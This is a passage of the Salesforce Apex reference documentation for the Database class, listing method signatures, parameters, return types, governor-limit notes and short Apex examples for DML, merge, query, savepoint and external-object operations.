Merges up to two records of the same object type into the master sObject record, deleting the others, and reparenting any related
records.
merge(masterRecord, duplicateId, allOrNone)
Merges the specified duplicate record into the master sObject record of the same type, optionally returning errors, if any, deleting
the duplicate, and reparenting any related records. Merges only accounts, contacts, or leads.
merge(masterRecord, duplicateRecord, allOrNone)
Merges the specified duplicate sObject record into the master sObject of the same type, optionally returning errors, if any, deleting
the duplicate, and reparenting any related records.
merge(masterRecord, duplicateIds, allOrNone)
Merges up to two records of the same sObject type into the master sObject record, optionally returning errors, if any, deleting the
duplicates, and reparenting any related records.
merge(masterRecord, duplicateRecords, allOrNone)
Merges up to two records of the same object type into the master sObject record, optionally returning errors, if any, deleting the
duplicates, and reparenting any related records.
query(queryString)
Creates a dynamic SOQL query at runtime.
rollback(databaseSavepoint)
Restores the database to the state specified by the savepoint variable. Any emails submitted since the last savepoint are also rolled
back and not sent.

1999

Reference

Database Class

setSavepoint()
Returns a savepoint variable that can be stored as a local variable, then used with the rollback method to restore the database
to that point.
undelete(recordToUndelete, allOrNone)
Restores an existing sObject record, such as an individual account or contact, from your organization's Recycle Bin.
undelete(recordsToUndelete, allOrNone)
Restores one or more existing sObject records, such as individual accounts or contacts, from your organizations Recycle Bin.
undelete(recordID, allOrNone)
Restores an existing sObject record, such as an individual account or contact, from your organization's Recycle Bin.
undelete(recordIDs, allOrNone)
Restores one or more existing sObject records, such as individual accounts or contacts, from your organizations Recycle Bin.
update(recordToUpdate, allOrNone)
Modifies an existing sObject record, such as an individual account or contact, in your organization's data.
update(recordsToUpdate, allOrNone)
Modifies one or more existing sObject records, such as individual accounts or contactsinvoice statements, in your organizations
data.
update(recordToUpdate, dmlOptions)
Modifies an existing sObject record, such as an individual account or contact, in your organization's data.
update(recordsToUpdate, dmlOptions)
Modifies one or more existing sObject records, such as individual accounts or contactsinvoice statements, in your organizations
data.
upsert(recordToUpsert, externalIdField, allOrNone)
Creates a new sObject record or updates an existing sObject record within a single statement, using a specified field to determine
the presence of existing objects, or the ID field if no field is specified.
upsert(recordsToUpsert, externalIdField, allOrNone)
Creates new sObject records or updates existing sObject records within a single statement, using a specified field to determine the
presence of existing objects, or the ID field if no field is specified.
updateAsync(sobjects, callback)
Initiates requests to update external object data on the relevant external systems. The requests are executed asynchronously, as
background operations, and are sent to the external systems that are defined by the external objects' associated external data sources.
Allows referencing a callback class whose processSave method is called for each record after the remote operations are
completed.
updateAsync(sobject, callback)
Initiates a request to update external object data on the relevant external system. The request is executed asynchronously, as a
background operation, and is sent to the external system that's defined by the external object's associated external data source.
Allows referencing a callback class whose processSave method is called after the remote operation is completed.
updateAsync(sobjects)
Initiates requests to update external object data on the relevant external systems. The requests are executed asynchronously, as
background operations, and are sent to the external systems that are defined by the external objects' associated external data sources.
updateAsync(sobject)
Initiates a request to update external object data on the relevant external system. The request is executed asynchronously, as a
background operation, and is sent to the external system that's defined by the external object's associated external data source.

2000

Reference

Database Class

updateImmediate(sobjects)
Initiates requests to update external object data on the relevant external systems. The requests are executed synchronously and are
sent to the external systems that are defined by the external objects' associated external data sources. If the Apex transaction contains
pending changes, the synchronous operations can't be completed and throw exceptions.
updateImmediate(sobject)
Initiates a request to update external object data on the relevant external system. The request is executed synchronously and is sent
to the external system that's defined by the external object's associated external data source. If the Apex transaction contains pending
changes, the synchronous operation can't be completed and throws an exception.

convertLead(leadToConvert, allOrNone)
Converts a lead into an account and contact, as well as (optionally) an opportunity.

Signature
public static Database.LeadConvertResult convertLead(Database.LeadConvert leadToConvert,
Boolean allOrNone)

Parameters
leadToConvert

Type: Database.LeadConvert
allOrNone

Type: Boolean
The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter
and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to
verify which records succeeded, which failed, and why.

Return Value
Type: Database.LeadConvertResult

Usage
The convertLead method accepts up to 100 LeadConvert objects.
Each executed convertLead method counts against the governor limit for DML statements.

convertLead(leadsToConvert, allOrNone)
Converts a list of LeadConvert objects into accounts and contacts, as well as (optionally) opportunities.

Signature
public static Database.LeadConvertResult[] convertLead(Database.LeadConvert[]
leadsToConvert, Boolean allOrNone)

2001

Reference

Database Class

Parameters
leadsToConvert

Type: Database.LeadConvert[]
allOrNone

Return Value
Type: Database.LeadConvertResult[]

Usage
The convertLead method accepts up to 100 LeadConvert objects.
Each executed convertLead method counts against the governor limit for DML statements.

countQuery(query)
Returns the number of records that a dynamic SOQL query would return when executed.

Signature
public static Integer countQuery(String query)

Parameters
query

Type: String

Return Value
Type: Integer

Usage
For more information, see Dynamic SOQL on page 177.
Each executed countQuery method counts against the governor limit for SOQL queries.

Example
String QueryString =
'SELECT count() FROM Account';
Integer i =
Database.countQuery(QueryString);

2002

Reference

Database Class

delete(recordToDelete, allOrNone)
Deletes an existing sObject record, such as an individual account or contact, from your organization's data.

Signature
public static Database.DeleteResult delete(SObject recordToDelete, Boolean allOrNone)

Parameters
recordToDelete

Type: sObject
allOrNone

Return Value
Type: Database.DeleteResult

Usage
delete is analogous to the delete() statement in the SOAP API.

Each executed delete method counts against the governor limit for DML statements.

delete(recordsToDelete, allOrNone)
Deletes a list of existing sObject records, such as individual accounts or contacts, from your organizations data.

Signature
public static Database.DeleteResult[] delete(SObject[] recordsToDelete, Boolean
allOrNone)

Parameters
recordsToDelete

Type: sObject[]
allOrNone

Return Value
Type: Database.DeleteResult[]

2003

Reference

Database Class

Usage
delete is analogous to the delete() statement in the SOAP API.

Each executed delete method counts against the governor limit for DML statements.

Example
The following example deletes an account named 'DotCom':
Account[] doomedAccts = [SELECT Id, Name FROM Account WHERE Name = 'DotCom'];
Database.DeleteResult[] DR_Dels = Database.delete(doomedAccts);

deleteAsync(sobjects, callback)
Initiates requests to delete the external data that corresponds to the specified external object records. The request is executed
asynchronously, as a background operation, and is sent to the external system that's defined by the external object's associated external
data source. Allows referencing a callback class whose processDelete method is called for each record after deletion.

Signature
public static List<Database.DeleteResult> deleteAsync(List<SObject> sobjects,
DataSource.AsyncDeleteCallback callback)

Parameters
sobjects

Type: List<SObject>
List of external object records to delete.
callback

Type: DataSource.AsyncDeleteCallback
The callback that contains the state in the originating context and an action (the processDelete method) that is executed after
the insert operation is completed. Use the action callback to update org data according to the operations results. The callback object
must extend DataSource.AsyncDeleteCallback.

Return Value
Type: List<Database.DeleteResult>
Status results for the delete operation. Each result corresponds to a record processed by this asynchronous operation and is associated
with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve
this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncDeleteResult().

deleteAsync(sobject, callback)
Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed
asynchronously, as a background operation, and is sent to the external system that's defined by the external object's associated external
data source. Allows referencing a callback class whose processDelete method is called after deletion.

2004

Reference

Database Class

Signature
public static Database.DeleteResult deleteAsync(SObject sobject,
DataSource.AsyncDeleteCallback callback)

Parameters
sobject

Type: SObject
The external object record to delete.
callback

Return Value
Type: Database.DeleteResult
Status result for the delete operation. The result corresponds to the record processed by this asynchronous operation and is associated
with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve
this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncDeleteResult().

deleteAsync(sobjects)
Initiates requests to delete the external data that corresponds to the specified external object records. The requests are executed
asynchronously, as background operations, and are sent to the external systems that are defined by the external objects' associated
external data sources.

Signature
public static List<Database.DeleteResult> deleteAsync(List<SObject> sobjects)

Parameters
sobjects

Type: List<SObject>
List of external object records to delete.

2005

Reference

Database Class

deleteAsync(sobject)
Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed
asynchronously, as a background operation, and is sent to the external system that's defined by the external object's associated external
data source.

Signature
public static Database.DeleteResult deleteAsync(SObject sobject)

Parameters
sobject

Type: SObject
The external object record to delete.

deleteImmediate(sobjects)
Initiates requests to delete the external data that corresponds to the specified external object records. The requests are executed
synchronously and are sent to the external systems that are defined by the external objects' associated external data sources. If the Apex
transaction contains pending changes, the synchronous operations can't be completed and throw exceptions.

Signature
public static List<Database.DeleteResult> deleteImmediate(List<SObject> sobjects)

Parameters
sobjects

Type: List<SObject>
List of external object records to delete.

Return Value
Type: List<Database.DeleteResult>
Status results for the delete operation.

deleteImmediate(sobject)
Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed synchronously
and is sent to the external system that's defined by the external object's associated external data source. If the Apex transaction contains
pending changes, the synchronous operation can't be completed and throws an exception.

2006

Reference

Database Class

Signature
public static Database.DeleteResult deleteImmediate(SObject sobject)

Parameters
sobject

Type: SObject
The external object record to delete.

Return Value
Type: Database.DeleteResult
Status result for the delete operation.

delete(recordID, allOrNone)
Deletes existing sObject records, such as individual accounts or contacts, from your organizations data.

Signature
public static Database.DeleteResult delete(ID recordID, Boolean allOrNone)

Parameters
recordID

Type: ID
allOrNone

Return Value
Type: Database.DeleteResult

Usage
delete is analogous to the delete() statement in the SOAP API.

Each executed delete method counts against the governor limit for DML statements.

delete(recordIDs, allOrNone)
Deletes a list of existing sObject records, such as individual accounts or contacts, from your organizations data.

Signature
public static Database.DeleteResult[] delete(ID[] recordIDs, Boolean allOrNone)

2007

Reference

Database Class

Parameters
recordIDs

Type: ID[]
allOrNone

Return Value
Type: Database.DeleteResult[]

Usage
delete is analogous to the delete() statement in the SOAP API.

Each executed delete method counts against the governor limit for DML statements.

emptyRecycleBin([]
Permanently deletes the specified records from the Recycle Bin.

Signature
public static Database.EmptyRecycleBinResult[] emptyRecycleBin(ID [] recordIds)

Parameters
recordIds

Type: ID[]

Return Value
Type: Database.EmptyRecycleBinResult[]

Usage
Note the following:
After records are deleted using this method they cannot be undeleted.
Only 10,000 records can be specified for deletion.
The logged in user can delete any record that he or she can query in their Recycle Bin, or the recycle bins of any subordinates. If the
logged in user has Modify All Data permission, he or she can query and delete records from any Recycle Bin in the organization.
Cascade delete record IDs should not be included in the list of IDs; otherwise an error occurs. For example, if an account record is
deleted, all related contacts, opportunities, contracts, and so on are also deleted. Only include the Id of the top level account. All
related records are automatically removed.
Deleted items are added to the number of items processed by a DML statement, and the method call is added to the total number
of DML statements issued. Each executed emptyRecycleBin method counts against the governor limit for DML statements.

2008

Reference

Database Class

emptyRecycleBin(obj)
Permanently deletes the specified sObject from the Recycle Bin.

Signature
public static Database.EmptyRecycleBinResult emptyRecycleBin(sObject obj)

Parameters
obj

Type: sObject

Return Value
Type: Database.EmptyRecycleBinResult

Usage
Note the following:
After an sObject is deleted using this method it cannot be undeleted.
Only 10,000 sObjects can be specified for deletion.
The logged-in user can delete any sObject that he or she can query in their Recycle Bin, or the recycle bins of any subordinates. If
the logged-in user has Modify All Data permission, he or she can query and delete sObjects from any Recycle Bin in the organization.
Do not include an sObject that was deleted due to a cascade delete; otherwise an error occurs. For example, if an account is deleted,
all related contacts, opportunities, contracts, and so on are also deleted. Only include sObjects of the top-level account. All related
sObjects are automatically removed.
Deleted items are added to the number of items processed by a DML statement, and the method call is added to the total number
of DML statements issued. Each executed emptyRecycleBin method counts against the governor limit for DML statements.

emptyRecycleBin(listOfSObjects)
Permanently deletes the specified sObjects from the Recycle Bin.

Signature
public static Database.EmptyRecycleBinResult[] emptyRecycleBin(sObject[] listOfSObjects)

Parameters
listOfSObjects

Type: sObject[]

Return Value
Type: Database.EmptyRecycleBinResult[]

Usage
Note the following:

2009

Reference

Database Class

After an sObject is deleted using this method it cannot be undeleted.

Only 10,000 sObjects can be specified for deletion.
The logged-in user can delete any sObject that he or she can query in their Recycle Bin, or the recycle bins of any subordinates. If
the logged-in user has Modify All Data permission, he or she can query and delete sObjects from any Recycle Bin in the organization.
Do not include an sObject that was deleted due to a cascade delete; otherwise an error occurs. For example, if an account is deleted,
all related contacts, opportunities, contracts, and so on are also deleted. Only include sObjects of the top-level account. All related
sObjects are automatically removed.
Deleted items are added to the number of items processed by a DML statement, and the method call is added to the total number
of DML statements issued. Each executed emptyRecycleBin method counts against the governor limit for DML statements.

executeBatch(batchClassObject)
Submits a batch Apex job for execution corresponding to the specified class.

Signature
public static ID executeBatch(Object batchClassObject)

Parameters
batchClassObject

Type: Object
An instance of a class that implements the Database.Batchable interface.

Return Value
Type: ID
The ID of the new batch job (AsyncApexJob).

Usage
When calling this method, Salesforce chunks the records returned by the start method of the batch class into batches of 200, and
then passes each batch to the execute method. Apex governor limits are reset for each execution of execute.
For more information, see Using Batch Apex on page 240.

executeBatch(batchClassObject, scope)
Submits a batch Apex job for execution using the the specified class and scope.

Signature
public static ID executeBatch(Object batchClassObject, Integer scope)

Parameters
batchClassObject

Type: Object
An instance of a class that implements the Database.Batchable interface.

2010

Reference

Database Class

scope

Type: Integer
Number of records to be passed into the execute method for batch processing.

Return Value
Type: ID
The ID of the new batch job (AsyncApexJob).

Usage
The value for scope must be greater than 0.
If the start method of the batch class returns a Database.QueryLocator, the scope parameter of Database.executeBatch
can have a maximum value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller
batches of up to 200 records. If the start method of the batch class returns an iterable, the scope parameter value has no upper limit;
however, if you use a very high number, you may run into other limits.
Apex governor limits are reset for each execution of execute.
For more information, see Using Batch Apex on page 240.

getAsyncDeleteResult(deleteResult)
Retrieves the status of an asynchronous delete operation thats identified by a Database.DeleteResult object.

Signature
public static Database.DeleteResult getAsyncDeleteResult(Database.DeleteResult
deleteResult)

Parameters
deleteResult

Type: Database.DeleteResult
The result record for the delete operation being retrieved.

Return Value
Type: Database.DeleteResult
The result of a completed asynchronous delete of a record or records.

getAsyncDeleteResult(asyncLocator)
Retrieves the result of an asynchronous delete operation based on the results unique identifier.

Signature
public static Database.DeleteResult getAsyncDeleteResult(String asyncLocator)

2011

Reference

Database Class

Parameters
asyncLocator

Type: String
The unique identifier associated with the result of an asynchronous operation.

Return Value
Type: Database.DeleteResult
The result of a completed asynchronous delete of a record or records.

getAsyncLocator(result)
Returns the asyncLocator associated with the result of a specified asynchronous insert, update, or delete operation.

Signature
public static String getAsyncLocator(Object result)

Parameters
result

Type: Object
The saved result of an asynchronous insert, update, or delete operation. The result object can be of type Database.SaveResult
or Database.DeleteResult.

Return Value
Type: String
The unique identifier associated with the result of the specified operation.

getAsyncSaveResult(saveResult)
Returns the status of an asynchronous insert or update operation thats identified by a Database.SaveResult object.

Signature
public static Database.SaveResult getAsyncSaveResult(Database.SaveResult saveResult)

Parameters
saveResult

Type: Database.SaveResult
The result record for the insert or update operation being retrieved.

Return Value
Database.SaveResult
The result of a completed asynchronous operation on a record or records.

2012

Reference

Database Class

getAsyncSaveResult(asyncLocator)
Returns the status of an asynchronous insert or update operation based on the unique identifier associated with each modification.

Signature
public static Database.SaveResult getAsyncSaveResult(String asyncLocator)

Parameters
asyncLocator

Type: String
The unique identifier associated with the result of an asynchronous operation.

Return Value
Database.SaveResult
The result of a completed asynchronous operation on a record or records.

getDeleted(sObjectType, startDate, endDate)

Returns the list of individual records that have been deleted for an sObject type within the specified start and end dates and times and
that are still in the Recycle Bin.

Signature
public static Database.GetDeletedResult getDeleted(String sObjectType, Datetime
startDate, Datetime endDate)

Parameters
sObjectType

Type: String
The sObjectType argument is the sObject type name for which to get the deleted records, such as account or merchandise__c.
startDate

Type: Datetime
Start date and time of the deleted records time window.
endDate

Type: Datetime
End date and time of the deleted records time window.

Return Value
Type: Database.GetDeletedResult

Usage
Because the Recycle Bin holds records up to 15 days, results are returned for no more than 15 days previous to the day the call is executed
(or earlier if an administrator has purged the Recycle Bin).

2013

Reference

Database Class

Example
Database.GetDeletedResult r =
Database.getDeleted(
'Merchandise__c',
Datetime.now().addHours(-1),
Datetime.now());

getQueryLocator([]
Creates a QueryLocator object used in batch Apex or Visualforce.

Signature
public static Database. QueryLocator getQueryLocator(sObject [] listOfQueries)

Parameters
listOfQueries

Type: sObject []

Return Value
Type: Database.QueryLocator

Usage
You can't use getQueryLocator with any query that contains an aggregate function.
Each executed getQueryLocator method counts against the governor limit of 10,000 total records retrieved and the total number
of SOQL queries issued.
For more information, see Understanding Apex Managed Sharing, and IdeaStandardSetController Class.

getQueryLocator(query)
Creates a QueryLocator object used in batch Apex or Visualforce.

Signature
public static Database.QueryLocator getQueryLocator(String query)

Parameters
query

Type: String

Return Value
Type: Database.QueryLocator

2014

Reference

Database Class

getUpdated(sobjectType, startDate, endDate)

Returns the list of individual records that have been updated for an sObject type within the specified start and end dates and times.

Signature
public static Database.GetUpdatedResult getUpdated(String sobjectType, Datetime
startDate, Datetime endDate)

Parameters
sobjectType

Type: String
The sObjectType argument is the sObject type name for which to get the updated records, such as account or merchandise__c.
startDate

Type: Datetime
The startDate argument is the start date and time of the updated records time window.
endDate

Type: Datetime
The endDate argument is the end date and time of the updated records time window.

Return Value
Type: Database.GetUpdatedResult

Usage
The date range for the returned results is no more than 30 days previous to the day the call is executed.

Example
Database.GetUpdatedResult r =
Database.getUpdated(
'Merchandise__c',
Datetime.now().addHours(-1),
Datetime.now());

insert(recordToInsert, allOrNone)
Adds an sObject, such as an individual account or contact, to your organization's data.

2015

Reference

Database Class

Signature
public static Database.SaveResult insert(sObject recordToInsert, Boolean allOrNone)

Parameters
recordToInsert

Type: sObject
allOrNone

Return Value
Type: Database.SaveResult

Usage
insert is analogous to the INSERT statement in SQL.

Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that
is too long for the field.
Each executed insert method counts against the governor limit for DML statements.

insert(recordsToInsert, allOrNone)
Adds one or more sObjects, such as individual accounts or contacts, to your organizations data.

Signature
public static Database.SaveResult[] insert(sObject[] recordsToInsert, Boolean allOrNone)

Parameters
recordsToInsert

Type: sObject []
allOrNone

Return Value
Type: Database.SaveResult[]

2016

Reference

Database Class

Usage
insert is analogous to the INSERT statement in SQL.

Example
Example:
The following example inserts two accounts:
Account a = new Account(name = 'Acme1');
Database.SaveResult[] lsr = Database.insert(
new Account[]{a, new Account(Name = 'Acme2')},
false);

insert(recordToInsert, dmlOptions)
Adds an sObject, such as an individual account or contact, to your organization's data.

Signature
public static Database.SaveResult insert(sObject recordToInsert, Database.DMLOptions
dmlOptions)

Parameters
recordToInsert

Type: sObject
dmlOptions

Type: Database.DMLOptions
The optional dmlOptions parameter specifies additional data for the transaction, such as assignment rule information or rollback
behavior when errors occur during record insertions.

Return Value
Type: Database.SaveResult

Usage
insert is analogous to the INSERT statement in SQL.

insert(recordToInsert, dmlOptions)
Adds an sObject, such as an individual account or contact, to your organization's data.

2017

Reference

Database Class

Signature
public static Database.SaveResult insert(sObject[] recordToInsert, Database.DMLOptions
dmlOptions)

Parameters
recordToInsert

Type: sObject[]
dmlOptions

Return Value
Type: Database.SaveResult

Usage
insert is analogous to the INSERT statement in SQL.

insertAsync(sobjects, callback)
Initiates requests to add external object data to the relevant external systems. The requests are executed asynchronously, as background
operations, and are sent to the external systems that are defined by the external objects' associated external data sources. Allows
referencing a callback class whose processSave method is called for each record after the remote operations are completed.

Signature
public static List<Database.SaveResult> insertAsync(List<SObject> sobjects,
DataSource.AsyncSaveCallback callback)

Parameters
sobjects

Type: List<SObject>
List of external object records to insert.
callback

Type: DataSource.AsyncSaveCallback
The callback object that contains the state in the originating context and an action (the processSave method) that executes
after the insert operation is completed. Use the action callback to update org data according to the operations results. The callback
object must extend DataSource.AsyncSaveCallback.

2018

Reference

Database Class

Return Value
Type: List<Database.SaveResult>
Status results for the insert operation. Each result corresponds to a record processed by this asynchronous operation and is associated
with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve
this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncSaveResult().

insertAsync(sobject, callback)
Initiates a request to add external object data to the relevant external system. The request is executed asynchronously, as a background
operation, and is sent to the external system that's defined by the external object's associated external data source. Allows referencing
a callback class whose processSave method is called after the remote operation is completed.

Signature
public static Database.SaveResult insertAsync(SObject sobject,
DataSource.AsyncSaveCallback callback)

Parameters
sobject

Type: SObject
The external object record to insert.
callback

Return Value
Type: Database.SaveResult
Status result for the insert operation. The result corresponds to the record processed by this asynchronous operation and is associated
with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve
this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncSaveResult().

Signature
public static List<Database.SaveResult> insertAsync(List<SObject> sobjects)

Parameters
sobjects

Type: List<SObject>

2019

Reference

Database Class

List of external object records to insert.

insertAsync(sobject)
Initiates a request to add external object data to the relevant external system. The request is executed asynchronously, as a background
operation, and is sent to the external system that's defined by the external object's associated external data source.

Signature
public static Database.SaveResult insertAsync(SObject sobject)

Parameters
sobject

Type: SObject
The external object record to insert.

insertImmediate(sobjects)
Initiates requests to add external object data to the relevant external systems. The requests are executed synchronously and are sent to
the external systems that are defined by the external objects' associated external data sources. If the Apex transaction contains pending
changes, the synchronous operations can't be completed and throw exceptions.

Signature
public static List<Database.SaveResult> insertImmediate(List<SObject> sobjects)

Parameters
sobjects

Type: List<SObject>
List of external object records to insert.

2020

Reference

Database Class

Return Value
Type: List<Database.SaveResult>
Status results for the insert operation.

insertImmediate(sobject)
Initiates a request to add external object data to the relevant external system. The request is executed synchronously and is sent to the
external system that's defined by the external object's associated external data source. If the Apex transaction contains pending changes,
the synchronous operation can't be completed and throws an exception.

Signature
public static Database.SaveResult insertImmediate(SObject sobject)

Parameters
sobject

Type: SObject
The external object record to insert.

Return Value
Type: Database.SaveResult
Status result for the insert operation.

merge(masterRecord, duplicateId)
Merges the specified duplicate record into the master sObject record of the same type, deleting the duplicate, and reparenting any
related records. Merges only accounts, contacts, or leads.

Signature
public static Database.MergeResult merge(sObject masterRecord, Id duplicateId)

Parameters
masterRecord

Type: sObject
The master sObject record the duplicate record is merged into.
duplicateId

Type: ID
The ID of the record to merge with the master. This record must be of the same sObject type as the master.

Return Value
Type: Database.MergeResult

2021

Reference

Database Class

Usage
Each executed merge method counts against the governor limit for DML statements.

merge(masterRecord, duplicateRecord)
Merges the specified duplicate sObject record into the master sObject of the same type, deleting the duplicate, and reparenting any
related records.

Signature
public static Database.MergeResult merge(sObject masterRecord, sObject duplicateRecord)

Parameters
masterRecord

Type: sObject
The master sObject record the duplicate record is merged into.
duplicateRecord

Type: sObject
The sObject record to merge with the master. This sObject must be of the same type as the master.

Return Value
Type: Database.MergeResult

Usage
Each executed merge method counts against the governor limit for DML statements.

merge(masterRecord, duplicateIds)
Merges up to two records of the same sObject type into the master sObject record, deleting the others, and reparenting any related
records.

Signature
public static List<Database.MergeResult> merge(sObject masterRecord, List<Id>
duplicateIds)

Parameters
masterRecord

Type: SObject
The master sObject record the other records are merged into.
duplicateIds

Type: List<Id>
A list of IDs of up to two records to merge with the master. These records must be of the same sObject type as the master.

2022

Reference

Database Class

Return Value
Type: List<Database.MergeResult>

Usage
Each executed merge method counts against the governor limit for DML statements.

merge(masterRecord, duplicateRecords)
Merges up to two records of the same object type into the master sObject record, deleting the others, and reparenting any related
records.

Signature
public static List<Database.MergeResult> merge(sObject masterRecord, List<SObject>
duplicateRecords)

Parameters
masterRecord

Type: SObject
The master sObject record the other sObjects are merged into.
duplicateRecords

Type: List<SObject>
A list of up to two sObject records to merge with the master. These sObjects must be of the same type as the master.

Return Value
Type: List<Database.MergeResult>

Usage
Each executed merge method counts against the governor limit for DML statements.

merge(masterRecord, duplicateId, allOrNone)

Merges the specified duplicate record into the master sObject record of the same type, optionally returning errors, if any, deleting the
duplicate, and reparenting any related records. Merges only accounts, contacts, or leads.

Signature
public static Database.MergeResult merge(sObject masterRecord, Id duplicateId, Boolean
allOrNone)

Parameters
masterRecord

Type: sObject
The master sObject record the duplicate record is merged into.

2023

Reference

Database Class

duplicate

Type: ID
The ID of the record to merge with the master. This record must be of the same sObject type as the master.
allOrNone

Type: Boolean
Set to false to return any errors encountered in this operation as part of the returned result. If set to true, this method throws
an exception if the operation fails. The default is true.

Return Value
Type: Database.MergeResult

Usage
Each executed merge method counts against the governor limit for DML statements.

merge(masterRecord, duplicateRecord, allOrNone)

Merges the specified duplicate sObject record into the master sObject of the same type, optionally returning errors, if any, deleting the
duplicate, and reparenting any related records.

Signature
public static Database.MergeResult merge(sObject masterRecord, sObject duplicateRecord,
Boolean allOrNone)

Parameters
masterRecord

Type: sObject
The master sObject record the duplicate record is merged into.
duplicateRecord

Type: sObject
The sObject record to merge with the master. This sObject must be of the same type as the master.
allOrNone

Return Value
Type: Database.MergeResult

Usage
Each executed merge method counts against the governor limit for DML statements.

2024

Reference

Database Class

merge(masterRecord, duplicateIds, allOrNone)

Merges up to two records of the same sObject type into the master sObject record, optionally returning errors, if any, deleting the
duplicates, and reparenting any related records.

Signature
public static List<Database.MergeResult> merge(sObject masterRecord, List<Id>
duplicateIds, Boolean allOrNone)

Parameters
masterRecord

Type: SObject
The master sObject record the other records are merged into.
duplicateIds

Type: List<Id>
A list of IDs of up to two records to merge with the master. These records must be of the same sObject type as the master.
allOrNone

Return Value
Type: List<Database.MergeResult>

Usage
Each executed merge method counts against the governor limit for DML statements.

merge(masterRecord, duplicateRecords, allOrNone)

Merges up to two records of the same object type into the master sObject record, optionally returning errors, if any, deleting the duplicates,
and reparenting any related records.

Signature
public static List<Database.MergeResult> merge(sObject masterRecord, List<SObject>
duplicateRecords, Boolean allOrNone)

Parameters
masterRecord

Type: sObject
The master sObject record the other sObjects are merged into.
duplicateRecords

Type: List<SObject>

2025

Reference

Database Class

A list of up to two sObject records to merge with the master. These sObjects must be of the same type as the master.
allOrNone

Return Value
Type: List<Database.MergeResult>

Usage
Each executed merge method counts against the governor limit for DML statements.

query(queryString)
Creates a dynamic SOQL query at runtime.

Signature
public static sObject[] query(String queryString)

Parameters
queryString

Type: String

Return Value
Type: sObject[]

Usage
This method can be used wherever a static SOQL query can be used, such as in regular assignment statements and for loops. Unlike
inline SOQL, fields in bind variables are not supported.
For more information, see Dynamic SOQL on page 177.
Each executed query method counts against the governor limit for SOQL queries.

rollback(databaseSavepoint)
Restores the database to the state specified by the savepoint variable. Any emails submitted since the last savepoint are also rolled back
and not sent.

Signature
public static Void rollback(System.Savepoint databaseSavepoint)

2026

Reference

Database Class

Parameters
databaseSavepoint

Type: System.Savepoint

Return Value
Type: Void

Usage
Note the following:
Static variables are not reverted during a rollback. If you try to run the trigger again, the static variables retain the values from the
first run.
Each rollback counts against the governor limit for DML statements. You will receive a runtime error if you try to rollback the database
additional times.
The ID on an sObject inserted after setting a savepoint is not cleared after a rollback. Create an sObject to insert after a rollback.
Attempting to insert the sObject using the variable created before the rollback fails because the sObject variable has an ID. Updating
or upserting the sObject using the same variable also fails because the sObject is not in the database and, thus, cannot be updated.
For an example, see Transaction Control.

setSavepoint()
Returns a savepoint variable that can be stored as a local variable, then used with the rollback method to restore the database to
that point.

Signature
public static System.Savepoint setSavepoint()

Return Value
Type: System.Savepoint

Usage
Note the following:
If you set more than one savepoint, then roll back to a savepoint that is not the last savepoint you generated, the later savepoint
variables become invalid. For example, if you generated savepoint SP1 first, savepoint SP2 after that, and then you rolled back
to SP1, the variable SP2 would no longer be valid. You will receive a runtime error if you try to use it.
References to savepoints cannot cross trigger invocations because each trigger invocation is a new trigger context. If you declare a
savepoint as a static variable then try to use it across trigger contexts, you will receive a run-time error.
Each savepoint you set counts against the governor limit for DML statements.
For an example, see Transaction Control.

undelete(recordToUndelete, allOrNone)
Restores an existing sObject record, such as an individual account or contact, from your organization's Recycle Bin.

2027

Reference

Database Class

Signature
public static Database.UndeleteResult undelete(sObject recordToUndelete, Boolean
allOrNone)

Parameters
recordToUndelete

Type: sObject
allOrNone

Return Value
Type: Database.UndeleteResult

Usage
undelete is analogous to the UNDELETE statement in SQL.

Each executed undelete method counts against the governor limit for DML statements.

undelete(recordsToUndelete, allOrNone)
Restores one or more existing sObject records, such as individual accounts or contacts, from your organizations Recycle Bin.

Signature
public static Database.UndeleteResult[] undelete(sObject[] recordsToUndelete, Boolean
allOrNone)

Parameters
recordsToUndelete

Type: sObject []
allOrNone

Return Value
Type: Database.UndeleteResult[]

2028

Reference

Database Class

Usage
undelete is analogous to the UNDELETE statement in SQL.

Each executed undelete method counts against the governor limit for DML statements.

Example
The following example restores all accounts named 'Trump'. The ALL ROWS keyword queries all rows for both top-level and aggregate
relationships, including deleted records and archived activities.
Account[] savedAccts = [SELECT Id, Name FROM Account
WHERE Name = 'Trump'
ALL ROWS];
Database.UndeleteResult[] UDR_Dels = Database.undelete(savedAccts);

undelete(recordID, allOrNone)
Restores an existing sObject record, such as an individual account or contact, from your organization's Recycle Bin.

Signature
public static Database.UndeleteResult undelete(ID recordID, Boolean allOrNone)

Parameters
recordID

Type: ID
allOrNone

Return Value
Type: Database.UndeleteResult

Usage
undelete is analogous to the UNDELETE statement in SQL.

Each executed undelete method counts against the governor limit for DML statements.

undelete(recordIDs, allOrNone)
Restores one or more existing sObject records, such as individual accounts or contacts, from your organizations Recycle Bin.

Signature
public static Database.UndeleteResult[] undelete(ID[] recordIDs, Boolean allOrNone)

2029

Reference

Database Class

Parameters
RecordIDs

Type: ID[]
allOrNone

Return Value
Type: Database.UndeleteResult[]

Usage
undelete is analogous to the UNDELETE statement in SQL.

Each executed undelete method counts against the governor limit for DML statements.

update(recordToUpdate, allOrNone)
Modifies an existing sObject record, such as an individual account or contact, in your organization's data.

Signature
public static Database.SaveResult update(sObject recordToUpdate, Boolean allOrNone)

Parameters
recordToUpdate

Type: sObject
allOrNone

Return Value
Type: Database.SaveResult

Usage
update is analogous to the UPDATE statement in SQL.

Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that
is too long for the field.
Each executed update method counts against the governor limit for DML statements.

2030

Reference

Database Class

Example
The following example updates the BillingCity field on a single account.
Account a = new Account(Name='SFDC');
insert(a);
Account myAcct =
[SELECT Id, Name, BillingCity
